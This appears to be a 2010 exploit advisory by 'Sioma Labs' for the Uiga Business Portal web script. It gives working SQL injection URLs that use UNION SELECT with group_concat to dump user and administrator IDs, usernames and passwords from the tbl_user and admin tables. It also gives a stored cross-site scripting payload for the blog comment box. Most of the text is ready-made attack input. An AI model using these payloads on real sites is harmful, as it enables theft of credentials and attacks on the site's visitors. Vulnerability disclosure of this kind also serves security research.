Uiga Business Portal – SQL Injection / Cross-Site Scripting
# Exploit Title: Uiga Business Portal SQL/ XSS Vulnerability # Date: 8/2/2010 # Author: Sioma Labs # Site : http://www.scriptdevelopers.net # Software Link: http://www.scriptdevelopers.net/download/uigapersonalportal.zip # Version: N/A # Tested on: Linux OS = Cent OS 5.4 Server = Apache/2.2.3 SQLDB = MYSQL v5.0.77 Windows OS = Windows XPsp2 App = Wamp # CVE : N/A # Code : N/A ---------------------------------------------------- __ _ __ _ / _(_) ___ _ __ ___ __ _ / / __ _| |__ ___ \ \| |/ _ \| '_ ` _ \ / _` | / / / _` | '_ \/ __| _\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \ \__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/ ---------------------------------------------------- SQL Injection Vulnerability UserAge : [host]/blog/index.php?view=noentryid&noentryid=[SQLi] - User SQLi -> -------------- Ex : http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+Select+1,2,3,4,5,group_concat(user_id,0x3a,username,0x3a,password),7,8,9,10+from+tbl_user-- - Admin SQLi -> --------------- Ex : http://server/ulgabusinessportak/index2.php?c=29&p=-45+Union+All+Select 1,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),3,4,5+from+admin-- - Or Choice By User ID -> -------------------------- http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10+from+tbl_user+where+user_id=1-- */ Change the last User ID ####################################################################################################### XSS Vulnerability -------- - You can inject html with the comment box Test Link http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=20 Inject "<script>alert("XSS")</script>" into the portal using Comment Box # Sioma Agent -154 # http://siomalabs.com |